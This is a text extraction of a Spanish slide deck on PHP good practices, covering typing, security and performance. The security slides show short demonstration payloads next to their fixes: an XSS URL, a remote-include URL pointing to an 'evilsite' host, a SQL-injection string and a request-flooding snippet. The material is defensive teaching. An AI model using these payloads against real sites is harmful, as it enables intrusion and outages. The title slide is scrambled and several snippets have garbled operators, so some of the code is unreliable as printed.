Resistencia extrema al cobre por un consorcio bacteriano conformado por Sulfo...
Buenas Prácticas de Programación en PHP
1. Buenas prácticas de
programación en PHP
p';
d.ph
at aGri
es/D
p ctur ;
<?ph e 'Stru (10) );
i r a Grid ame'
requ er page res_Dat st/ db_n
ds p uctu d@ho tions);
0 r ecor new Str swor $op
// 1 rid =& :pas
ag //user _tablequot;,
$dat urce 'mysql: ROM my
da taso => * F
your y('dsn' quot;SELECT
etup ra (
// S ns = ar id->bind ) {
io r ) e)
$opt = $datag or($test ge(); Tabl
t rr a TML
$tes AR::isE >getMess erer
(H
if (PE $te st- t rend
echo faul
th e de
with
} taG rid r();
th e Da ->rende {
rint grid ))
// P = $data or($test ge();
t r a
$tes AR::isEr >getMess
PE -
if ( ho $test GER)
;
ec s NDER_PA
link D_RE
} pa ging DATAGRI
TML er(
t t he H d->rend {
rin gri t))
// P = $data or($tes ge();
rr a
Jesús M. Castagnetto M., Ph.D.
t
$tes AR::isE >getMess
PE
if ( ho $test
e c
-
jesus@upch.edu.pe // jmcastagnetto@php.net
}
?> http://www.castagnetto.com/
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
2. Agenda
● Consideraciones generales
● Seguridad
● Mejorando el funcionamiento
● Donde encontrar mas información
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
3. ¿Por que se necesita una charla
como esta?
● PHP es un lenguaje fácil de aprender,
usarlo en forma experta toma tiempo y
esfuerzo
● Los problemas de seguridad están en
todas partes, en especial, las inesperadas
● Tener buena performance es muy
importante en aplicativos de web
● El Código Libre debe ser robusto,
funcionar bien, y verse mejor
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
4. ... y que espero que aprendan
● Errores comunes y como evitarlos
● Algunos “trucos” interesantes que pueden
reutilizar
● Como usar buenas herramientas para
mejorar su código y sus aplicativos, y
hacer su vida mas placentera :-)
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
5. Consideraciones Generales
En esta sección aprenderemos:
● Hábitos comunes para escribir buen
código en PHP
● Algunos consejos para “limpiar” tu código
● Comportamientos que debemos evitar
para no cometer tantos errores
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
6. Consideraciones Generales:
Tópicos
● Asegurarse del tipo de datos
● Usar “tags” cortas es malo
● Ser “E_STRICTo” es bueno
● Emplear excepciones
● Usar un depurador (debugger)
● Evitar reinventar la rueda
● Los estándares de código son buenos
● Documentar, documentar, documentar
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
7. Tipos de datos (1)
La situación: PHP no usa tipos estrictos:
<?php
$foo = quot;1quot;; Resultado:
$bar = $foo + 1; string(1) “1”
var_dump($foo, $bar);
?>
int(2)
... los operadores tampoco lo usan:
<?php
$int = 1;
$string = quot;1quot;;
$bool = true; Resultado:
var_dump($int == $string); bool(true)
var_dump($string == $bool); bool(true)
var_dump($int == $bool);
?> bool(true)
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
8. Tipos de datos (2)
Esto causa situaciones confusas:
<?php
var_dump( '1' == '1.' );
Resultado:
?> bool(true)
... y produce errores como el siguiente:
<?php
function foo($answer) {
if ($answer > 10) {
return true;
} else {
return $answer;
}
} Resultado:
if (foo(11)) {
echo quot;11 es mayor que 10<br />quot;;
11 es mayor que 10
} 9 es mayor que 10
if (foo(9)) {
echo quot;9 es mayor que 10<br />quot;;
}
?>
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
9. Tipos de datos (3)
La solución: programar asegurándose de los
tipos de datos
<?php
$foo = quot;1quot;; Resultado:
$bar = (int)$foo + 1;
var_dump((int)$foo, $bar); int(1)
?> int(2)
... y usar comparadores que entiendan tipos:
<?php
$int = 1;
$string = quot;1quot;; Resultado:
$bool = true;
var_dump($int === $string);
bool(false)
var_dump($string === $bool); bool(false)
var_dump($int === $bool); bool(false)
?>
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
10. Tipos de datos (3)
Y el problema anterior, desaparece como
por arte de magia:
<?php
function foo($answer) {
if ($answer > 10) {
return true;
} else {
return $answer;
}
}
if (foo(11) === true) {
Resultado:
echo quot;11 es mayor que 10<br />quot;; 11 es mayor que 10
}
if (foo(9) === true) {
echo quot;9 es mayor que 10<br />quot;;
}
?>
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
11. “Tags” cortas son dañinas (1)
La situación: PHP permite varias formas de
marcar el comienzo del código:
➔ Forma estándar: <?php echo “Hola!”; ?>
➔ Forma corta: <? echo “Hola!”; ?>
o aún peor: <?= “Hola!”; ?>
➔ ... y para los masoquistas:
<% echo “Hola!”; %>
Pero:
➔ <? esta reservado para declarar XML
➔ <?= no es XML válido (<?php si lo es)
➔ <% es para los que sueñan/sufren con ASP
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
12. “Tags” cortas son dañinas (2)
La solución: Usar siempre la forma estándar
(<?php) y convertir todos tus programas
que no usan esa forma.
La forma estándar
➔ Tiene garantizada soporte futuro
➔ Representa una instrucción de procesamiento
válida en XML
➔ Es única a todos los programas de PHP
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
13. Se “E_STRICTo” (1)
La situación: Desde PHP 5.0, existe un
nuevo nivel de error: E_STRICT
➔ E_STRICT nos fuerza a escribir código que sea
compatible (“limpio”) con PHP 5
➔ Muy probablemente E_STRICT se convierta en
E_FATAL en PHP 6
➔ Existe mucho código que no es “E_STRICTo” y que
por tanto no es portable en su totalidad a sistemas
usando PHP 5
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
14. Se “E_STRICTo” (2)
La solución: Usemos E_STRICT, y
revisemos nuestro código: (en php.ini)
error_reporting=E_ALL | E_STRICT
Error típico encontrado usando E_STRICT:
uso de is_a() en lugar de instanceof:
<?php
if (is_a($object, 'ClassName')) { El problema
$object>algunMetodo();
}
?>
<?php
if ($object instanceof ClassName) {
La solución $object>algunMetodo();
}
?>
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
15. Excepciones (1)
La situación: PHP tiene excepciones ahora,
esto es bueno, pero peligroso
➔ Las excepciones son una gran herramienta para
manejar situaciones excepcionales en la
ejecución del código
➔ A menudo se usan mal las excepciones, y
tendemos a abusar de ellas
➔ Las excepciones causan un poco de pérdida de
memoria cuando son ejecutadas en algunas
situaciones
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
16. Excepciones (2)
Abusando de las excepciones:
<?php
function check_input($input) {
if ($input !== quot;Hello!quot;) {
throw new Exception(quot;User input wrongquot;);
}
}
?>
Cuando podríamos haber hecho algo mas
sensato: <?php
function check_input($input) {
if ($input !== quot;Hello!quot;) {
return false;
} else {
return true;
}
}
?>
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
17. Excepciones (2)
Solución: Usemos bien las excepciones
<?php
function check_server_connection() {
if (server_connection_timeout()) { Situaciones
throw new Exception('Connection timeout'); excepcionales
}
}
?>
<?php
try {
$person>setName('John Doe');
$person>setAddress('Something St. 12');
$person>setbirthDate('10101900');
$person>store();
} catch (Exception e) {
Manejo de throw new DataPopulationException(
'Unable to fill data for person ' . $person>getId(), e
errores en );
un bloque }
de procesos ?>
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
18. Excepciones (3)
Excepciones “pierden” alguito de memoria
cuando se les lanza continuamente (por
ejemplo en un bucle de proceso):
<?php
foreach ($i = 1000000; $i > 0; $i) {
throw new Exceptions(
quot;WOW, I'm leaking!quot;
);
}
?>
La memoria pedida no es liberada por
completo cada vez.
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
19. Usando un depurador (1)
La situación: “¡Yo no necesito depurador!”
● “Para mi es suficiente usar var_dump() y
print_r(). ¿Para que complicarme la vida?”
● Los errores de PHP no son muy
informativos en casos moderadamente
complejos
● Un depurador tiene características que
ayudan mucho, y que evitan dolores de
cabeza al analizar errores en nuestros
aplicativos de web
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
20. Usa un depurador (2)
Por ejemplo, el siguiente código:
<?php
function foo() {
phpinfo(quot;barquot;);
}
foo();
?>
Daría un error como este:
Warning: phpinfo() expects a parameter 1 to be
long, string given in /server/webdocs/foo.php
on line 1
... lo cual no nos dice mucho en realidad
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
21. Usa un depurador (3)
En cambio, un buen depurador nos da
mucha mas información:
Ahora sabemos inclusive el orden de
llamada que causo el error, cuando se
realizó la llamada a la función, etc.
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
22. Usa un depurador (4)
La solución: ¡Usen un buen depurador!
● Recomendación: Xdebug
(http://xdebug.org)
➔ Es Código Libre
➔ Usado por muchos desarrolladores
➔ Se integra con PHP como una extensión
➔ Se integra con IDEs (ej. Komodo)
➔ Tiene opciones para obtener perfiles de uso y
cobertura de código
● Otros depuradores:DBG(http://dd.cron.ru), APD (http://
pecl.php.net/package/apd), Zend IDE (propietario)
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
23. Estándares de código (1)
La situación: “¡Yo escribo código como a mi
me viene en gana!”
● Esto causa dificultades al leer el código, lo
cual es malo en un grupo de desarrollo
● Hace complicado que alguien mantenga tu
código
● En ocasiones, tu mismo(a) tendrás
problemas entendiendo tu propio
“monstruo”
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
24. Estándares de código (2)
La solución: ¡Usa un estándar de código!
● Existen muchos, buenos, aceptados,
refinados y validados por comunidades
grandes de desarrolladores:
➔ PEAR Code Standards:
http://pear.php.net/manual/en/standards.php
➔ eZ Systems:
http://ez.no/ezpublish/documentation/development/standards/php
➔ ZF Code Standard:
http://framework.zend.com/manual/en/coding-standard.html
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
25. Documentación (1)
La situación: Comparado con escribir
código, el hacer documentación es
aburrido y se deja para el último momento
● Esto hace que después de 6 meses, ni tu
mismo te acuerdes que hace un pedazo
de código que hiciste (en particular si no
tienes un estándar de código :-)
● Piensa que otros usaran tu código. Mejor
aún, espera y cuenta con otros usarán tu
código, y no les compliques la vida
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
26. Documentación (2)
La solución: phpDocumentor
➔ Implementa y aumenta las capacidades de
documentación de Javadoc
➔ Es un estándar aceptado por la comunidad
➔ Está disponible a través de PEAR
➔ Permite la generación “automágica” de
documentación de tu API
➔ También puedes incluir tutoriales
➔ Más información en http://phpdoc.org
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
27. Documentación (3)
Consejos útiles:
➔ Escribe la documentación antes de escribir el
código, de ese modo no te olvidas de algo
importante
➔ Si escribes primero el código, de seguro que no vas
a escribir buena documentación (y eso, si la llegas a
escribir)
➔ Documenta minuciosamente, así no tienes que
corregir los documentos luego
➔ Si vas a modificar, añadir o arreglar algo: Actualiza
la documentación primero, luego actualiza el
código.
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
28. Seguridad
En esta sección veremos:
● Problemas comunes y sus soluciones
● Como estar atento a lo hacen nuestros
usuarios, y actuar de acuerdo a ello
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
29. Seguridad: Tópicos
● Inyección de variables
● Inyección de comandos en SQL
● Filtrado de datos de ingreso
● Escape de datos de salida
● Seguridad por obscuridad
● Arreglar los derechos de acceso
● Configuración
● Cookies y sesiones
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
30. Inyección de variables (1)
La situación: Las variables no inicializadas
pueden causar que se ejecuten secciones
no esperadas de código
<?php
if (correct_user($_POST['user'], $_POST['password']) {
$login = true;
}
if ($login) {
forward_to_secure_environment();
}
?>
¡Un desastre en potencia!
http://example.com/form1.php?login=1
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
31. Inyección de variables (2)
La solución: Inicializa todas tus variables y
nunca (si, ¡nunca!) confíes en datos que
vienen del usuario (del exterior):
$_POST, $_GET, $_REQUEST, $_COOKIE, $_SERVER,
$_ENV
Ejemplo simple de XSS. Al código:
<form action=quot;<?php echo $_SERVER['PHP_SELF']; ?>quot;>
</form>
... le inyectamos el URL siguiente:
http://example.com/form2.php/%22%3E%3Cscript%3Ealert('xss')%3C/script%3E%3Cfoo
generando una ventana en JavaScript que
imprime el texto “XSS”
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
32. Inyección de variables (3)
La situación: Variables usadas para incluir
archivos causan mas dolores de cabeza
que los que resuelven.
➔ Hacen fácil que se ejecute código externo
➔ Peor aun si se puede incluir código de cualquier
URL arbitrario (allow_url_fopen=On, la
configuración por defecto de PHP)
<?php
require_once $_GET['action'] . '.php';
?>
Se puede explotar esto usando:
http://example.com/form3.php?action=http://evilsite.com/myevilscript
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
33. Inyección de variables (4)
La solución: Valida los archivos a incluir
usando una lista fija implementada con
arreglos o con 'switch', etc.
<?php
$valid_files = array(
'show' => 'show.php',
'list' => 'list.php',
);
if (isset($valid_files[$_GET['action']])) {
require_once $valid_files[$_GET['action']];
} else {
echo 'Not a valid action.';
}
?>
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
34. Inyección de comandos en SQL
(1)
La situación: El necesitar usar datos de los
usuarios, puede permitir a estos el
manipular la forma como se accede a la
base de datos.
Dado el código:
<?php
$sql = 'SELECT password FROM user WHERE login = '
. $_GET['login'];
?>
Se puede manipular usando:
http://example.com/form4.php?login=username+OR+1
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
35. Inyección de comandos en SQL
(2)
La solución: Usa funciones para escapar
datos de tu base de datos:
<?php
$sql = 'SELECT password FROM user WHERE login = ' .
mysql_real_escape_string( $_GET['login'] );
?>
O aún mejor, usa comando preparados:
<?php
$db = new PDO( ... );
$stmt = $db>prepare( 'SELECT password FROM user WHERE login = ?' );
$stmt>execute( array( $_GET['login'] ) );
?>
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
36. Validación de datos de entrada (1)
La situación: Validar los datos que entra el
usuario es difícil y poco interesante.
La solución: Usar ext/filter o ext/ctype
<?php
var_dump( ctype_alnum( 'foobar_42' ) );
var_dump( ctype_alnum( 'Bad Characters $%&/' ) );
var_dump(filter_var('bob@example.com', FILTER_VALIDATE_EMAIL));
var_dump(filter_var('example.com',
FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED));
?>
Resultado:
boolean false
boolean false
string 'bob@example.com' (length=15)
boolean false
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
37. Validación de datos de entrada (2)
Sugerencia:
Para datos numéricos, es más fácil el forzar
al dato a tener un tipo un entero (integer)
<?php
var_dump( (int) '42' );
var_dump( (int) '42; DELETE * FROM users;' );
var_dump( (int) 'Evil string' );
?>
Resultado:
int 42
int 42
int 0
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
38. Procesa los datos de salida (1)
La situación: Los ataques de XSS ocurren
por no procesar adecuadamente los datos
de salida, o usarlos tal cual son obtenidos.
➔ Debemos asumir que todo dato ingresado por el
usuario, puede contener caracteres que serán
interpretados por el navegador, u otro programa que
recibe nuestros resultados.
<?php
$text = '<b>Hola</b> todos.';
Resultado:
echo $text;
echo htmlentities( $text ); Hola todos
?> <b>Hola</b> todos
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
39. Procesa los datos de salida (2)
La solución: Usar las funciones de
procesamiento de datos de salida
➔ Hay que recordar que las bases de datos también
pueden contener datos ingresados por el usuario
➔ Debemos de considerar el contexto en que la salida
de nuestro programa va a ser usada (navegador,
lector de RSS, etc.)
➔ Usar un sistema de plantillas, en especial uno que
procese la salida adecuadamente, evita este
problema y nos ahorra trabajo
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
40. Seguridad por obscuridad
La situación: Información acerca de las
rutas, extensiones, y configuración, hace
fácil el trabajo de quien quiere atacar tu
sistema.
La solución: Oculta bien esta información.
➔ No tengas un script con phpinfo() en tu directorio
de web por defecto
➔ En producción, desactiva display_errors y usa
error_log en su lugar
➔ El cambiar los tipos de archivos por defecto (ej. usar
.abc en lugar de .php), y desactivar expose_php
también puede ayudar
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
41. Corrige los permisos de acceso
La situación: Permisos de acceso errados
hacen fácil el que alguien puede
adueñarse de nuestro servidor de web.
La solución: Usa los permisos correctos
➔ No deben de haber archivos ejecutables o que se
puedan escribir en tu carpeta de web
➔ Ningún archivo de PHP debe de poderse sobre-
escribir
➔ Desactivar el leer (y ejecutar) archivos externos
conteniendo clases, configuración, o código de
cualquier índole
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
42. Configuración (1)
La situación: El proceso inadecuado de los
datos de salida y los almacenados.
➔ Afecta directamente (a veces, seriamente) la
performance de tu aplicativo de web
➔ A veces no usamos adecuadamente funciones
como stripslashes(), ni las asociadas al tipo de
almacenaje que usaremos (base de datos, archivos,
etc.)
La solución: No uses magic_quotes en
producción (ni en desarrollo, de ser
posible), y usa funciones de
procesamiento apropiadas
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
43. Configuración (2)
Si queremos revertir efectivamente el efecto de
magic_quotes, hay que hacerlo con cuidado
<?php
if (get_magic_quotes_gpc()) {
function strip_quotes(&$var) { Este código se
if (is_array($var) {
array_walk($var, 'strip_quotes');
puede atacar
} else { fácilmente.
$var = stripslashes($var);
}
} Un programa
// Handle GPC simple puede
foreach (array('GET','POST','COOKIE') as $v) {
if (!empty(${quot;_quot;.$v})) { hacer que el
array_walk(${quot;_quot;.$v}, 'strip_quotes'); servidor se caiga
}
}
por exceso de
} carga
?>
<?php
$qry = str_repeat('[]', 1024);
file_get_contents('http://example.com/site.php?a' . $qry . '=1');
?>
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
44. Configuración (4)
Podemos hacer el mismo procesamiento, pero en forma
mas segura, si usar recursión:
<?php
if (get_magic_quotes_gpc()) {
$in = array(&$_GET, &$_POST, &$_COOKIE);
while (list($k,$v) = each($in)) {
foreach ($v as $key => $val) {
if (!is_array($val)) {
$in[$k][$key] = stripslashes($val);
continue;
}
$in[] =& $in[$k][$key];
}
}
unset($in);
}
?>
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
45. Configuración (5)
La situación: Aún hay código que depende
de que register_globals este activo, y hay
desarrolladores que aún siguen usándolo
➔ Esta configuración ha sido desactivada por defecto
desde hace mucho tiempo (desde PHP 4.2.0: 22 de
Abril del 2002)
➔ Su uso llena de basura el entorno global
➔ Puede sobre-escribir variables no inicializadas con
gran facilidad
➔ Nos (mal) acostumbra a no procesar nuestros datos
de entrada
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
46. Configuración (6)
La solución: No uses register_globals, ni
en desarrollo y menos en producción.
➔ El tratar de emular su efecto puede traer problemas,
en particular en entornos usando PHP con
versiones anteriores a 4.4.1 o 5.0.5
➔ Aún puedes crear tus propios mecanismos de
importación de variables
➔ El comportamiento de extract() y el de
import_request_variables() es aceptado
¡En PHP 6 ya no existirá ni
magic_quotes y menos aún
register_globals!
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
47. Cookies y sesiones (1)
La situación: Las cookies son fáciles de ser
modificadas por el usuario.
➔ No almacenes información crítica en cookies
➔ Pueden ser falsificadas usando programas
automatizados
La solución: Usar ext/session para
almacenar los datos importantes.
➔ Generalmente, se almacenará un ID de sesión en la
cookie del usuario
➔ Los datos asociados residen en el servidor
(archivos o base de datos)
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
48. Cookies y sesiones (2)
Sugerencias:
➔ No almacenar claves de identificación como texto
sencillo, es inseguro aún en el servidor. Es bueno
usar un función como md5(), sha1(), etc. para
almacenar un valor que no puede ser revertido a la
cadena original
➔ Al usar md5() (o sha1(), etc.), no hacerlo
directamente en la clave, pues pueden escribirse
programas que traten de adivinar esta información
por fuerza bruta. Concatenar con otra información
(ej. nombre del servidor, del usuario, etc.), antes de
procesar.
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
49. Mejorando la performance
En esta sección aprenderemos
● Algunos de los errores comunes que
hacen que nuestros aplicativos corren más
lentamente de lo que realmente deberían.
● Algunas sugerencias que pueden ayudar a
que la performance de nuestros
aplicativos aumente, usando prácticas
correctas de escritura de código
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
50. Mejorando la performance:
Tópicos
● Prefiere usar C en lugar de PHP
● Algunas mejoras simples en la velocidad
● Como usar OOP adecuadamente
● Usar cache tanto como se pueda
● Tener cuidado con las expresiones
regulares
● Emplear cache de OP code
● Hacer un perfil del aplicativo
● Usar mod_gzip
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
51. Prefiere usar C en lugar de PHP
La situación: Las funciones internas de PHP
son más rápidas que las del usuario
➔ Las funciones de PHP nos ahorran tiempo, pero
aún así hay gente que insiste en escribir su “versión
propia” de estas
La solución: ¡Lee el manual!
➔ PHP tiene excelente documentación, usala a
menudo y verás que te gustará
➔ Antes de escribir, fíjate si ya existe en PHP
➔ Si realmente necesitas funciones que consumen
mucho tiempo, escribelas como extensiones en C
para PHP
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
52. Algunas mejoras simples en la
velocidad (1)
La situación: Si usamos código simple muy
frecuentemente, esto puede causar que
se pierda mucho tiempo de proceso.
➔ El uso principal de los aplicativos de web es el de
procesar cadenas de caracteres
➔ Debemos de analizar las construcciones de código
más frecuentemente usadas en nuestro aplicativo
“Make everything as simple as possible, but not simpler.”
(Haz todo tan simple como sea posible, pero no mas
simple que eso) -- Albert Einstein
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
53. Algunas mejoras simples en la
velocidad (2)
La solución: Optimizaciones simples ayudan
mucho a aumentar la velocidad
➔ Usa ' en lugar de quot; para no tener que interpretar
valores Preferido
echo quot;HolanTodosquot;; echo 'Hola Todos';
➔ Usa valores múltiples de echo en lugar de usar
Preferido
concatenación de valores
echo 'Hola '.$nombre; echo 'Hola ', $nombre;
➔ Donde sea posible usa ++$i en lugar
de $i++ for ($i=0; $i<100; $i++)
Preferido
for ($i=0; $i<100; ++$i)
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
54. Usa OOP adecuadamente (1)
La situación: PHP 5 tiene características
interesantes en lo relacionado a OOP
➔ OOP se ve bien y puede ser útil, pero también
sobrecarga el procesamiento
➔ Cada objeto consume memoria en PHP que una
estructura equivalente
➔ Cada llamada a un método consume memoria y
tiempo en PHP
<?php
class Integer {
protected $value = 0; Bonito código,
function __construct($int) {
$this>value = $int; pero innecesario
}
}
?>
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
55. Usa OOP adecuadamente (2)
La solución: Conoce los límites de OOP
➔ No todo tiene que ser una clase, los arreglos
pueden ser muy útiles también
➔ No crees múltiples métodos, piensa en que vas a
reusar en realidad. Sé pragmático(a).
➔ Si lo necesitas, puedes reorganizar tus métodos
luego. No trates de adivinar el futuro.
➔ Piensa: ¿Realmente necesito un árbol de clases tan
profundo y complejo?
➔ Antes de aplicar un “Patrón de Diseño” OOP, piensa
si realmente lo necesitas. No hagas las cosas por
moda o imitación
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
56. Usar cache al máximo (1)
La situación: La mayor parte del contenido
no es dinámicamente generado
➔ 90% del tiempo el servidor está enviando la misma
información a múltiples usuarios
➔ Cada pedido de una página, resulta en los mismos
resultados de búsqueda en la base de datos
➔ 90% del trabajo de tu servidor se gasta en
regenerar el mismo contenido... ¡estático!
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
57. Usar cache al máximo (2)
La solución: Usa un cache
➔ Estima la frecuencia con que realmente necesitas
regenerar tu contenido dinámico
➔ Usa un cache para los periodos en los que no
regeneras el contenido
➔ Evita el que el contenido estático sea regenerado, o
actualiza este con mucho menor frecuencia
● Librerías de cache sugeridas:
➔ Cache_Lite (http://pear.php.net/Cache_Lite)
➔ eZCache (http://ez.no/products/ez_components)
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
58. Usar cache al máximo (3)
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
59. Cuidado con las expresiones
regulares (1)
La situación: Las expresiones regulares
(regexes) pueden consumir mucho tiempo
de proceso
➔ Prefiere usar PCRE en lugar de EREG, es mas
potente y mas rápido
➔ Una regex escrita incorrectamente puede consumir
mucho tiempo de proceso
➔ Una función en C equivalente es siempre mucho
mas veloz que la regex equivalente
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
60. Cuidado con las expresiones
regulares (2)
La solución: Piensa dos veces antes de usar
una regex
➔ ¿Existe una función en PHP que hace el mismo
trabajo que mi regex?
➔ Reemplaza tus EREGs por PCREs
➔ Trata de no usar “backtracking” de ser posible (usa
el modificador U, cuando sea posible)
➔ Lee, aprende y usa inteligentemente el contenido
del libro:
“Mastering Regular Expressions”
(http://www.oreilly.com/catalog/regex/)
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
61. Emplea cache de código
intermedio/compilado (1)
La situación: Compilación del código de
PHP (en el servidor) consume tiempo
➔ Tu código de PHP es recompilado cada vez que
hay un pedido
